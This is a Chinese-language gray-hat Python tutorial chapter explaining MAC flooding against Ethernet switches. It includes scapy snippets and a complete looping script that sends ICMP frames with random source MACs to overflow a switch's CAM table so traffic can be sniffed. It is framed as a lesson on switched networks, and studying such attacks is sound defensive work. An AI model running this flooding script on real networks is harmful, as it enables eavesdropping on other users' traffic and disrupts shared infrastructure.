《Python灰帽編程 3.3 MAC洪水攻擊》要點:
本文介紹了Python灰帽編程 3.3 MAC洪水攻擊,希望對您有用。如果有疑問,可以聯系我們。
實在是搞不定 這里編輯器的 代碼排版,逼迫癥請 到微信訂閱號(xuanhun521)查看.
Python灰帽編程 3.3 MAC洪水
傳統的交換機(我只對我目前使用的交互機做過測試,依照常識只能這樣表述)在數據轉發過程中依靠對CAM表的查詢來確定正確的轉發接口,一旦在查詢過程中無法找到相關目的MAC對應的條目,此數據幀將作為廣播幀來處理.CAM表的容量有限,只能儲存不多的條目,當CAM表記錄的MAC地址達到上限后,新的條目將不會添加到CAM表中.
基于以上原理,我們會發現一個非常有趣的現象.某臺PC賡續發送去往未知目的地的數據幀,且每個包的源MAC地址都不同,當這樣 的數據包發送的速度足夠快之后,快到在刷新時間內將交換機的CAM表迅速填滿.CAM表被這些偽造的MAC地址占據,真實的MA C地址條目卻無法進入CAM表.那么任何一個經過交換機的正常單播數據幀都會以廣播幀的形式來處理.交換機在此種情況下被降級為Hub.
交換機降級為hub之后,我們就可以監聽所有連接到該交換機的主機的數據了.
當然,具體交互設備對ARP洪水的響應是不一樣的,必要實地測試.下面我們進入編程環節.
3.3.1 編碼實戰
構造隨機的MAC和IP地址辦法有很多,因為地址的標準格式在那里,很容易拼裝.這里要給大家介紹的是scapy模塊中的RandMAC和RandIP辦法.這兩個辦法用來隨機產生MAC地址和IP地址,辦法接收模板參數,來產生特定網段的地址.
例如下面的代碼:
#!/usr/bin/python
from scapy.all import *
i=5
while(i):
print RandMAC()
print RandIP()
i=i-1
運行結果如下圖:
圖2
如果必要產生固定網段的IP,可以輸入指定的模板.
#!/usr/bin/python
from scapy.all import *
i=5
while(i):
print RandIP("192.168.1.*")
i=i-1
運行結果如下:
圖3
隨機的問題辦理之后,下面我們考慮下什么樣的數據包能達到目的呢?回看一下前文提到的內容,只要我們的數據包中有指定的源IP和MAC,那么交換機就會進行記錄.
例如ARP包:
Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))
例如ICMP包:
Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
兩個核心問題辦理了,可以寫完整的代碼了:
圖4
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
上面的代碼通過不停的發送ICMP數據包,來實現MAC洪水攻擊.運行結果如下:
圖5
3.3.2 小結
本節的內容在編程上沒有什么新的知識值得探討,主要希望大家對交換網絡和以太網的理解通過編程的方式進一步加深.
下一節,我們一起探討下針對VLAN的攻擊.
查看完整系列教程,請關注我的微信訂閱號(xuanhun521,下方二維碼),回復“python”.問題討論請加qq群:Hacking (1群):303242737 Hacking (2群):147098303.
明天開始的每周一書活動,已經開始.首先說明,本周活動有效時間為2016年8月28日到2016年9月4日.本周為大家送出的書是由機械工業出版社出版,馬偉編著的《編寫高質量代碼:改善C程序代碼的125個建議》.
參與活動的方式為進入微信訂閱號(xuanhun521),回復“每周一書”,在這本書相關的文章下面留言參與.
玄魂工作室-精彩賡續
歡迎交流《Python灰帽編程 3.3 MAC洪水攻擊》相關教程,維易PHP學堂將分享更多教程。
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/9117.html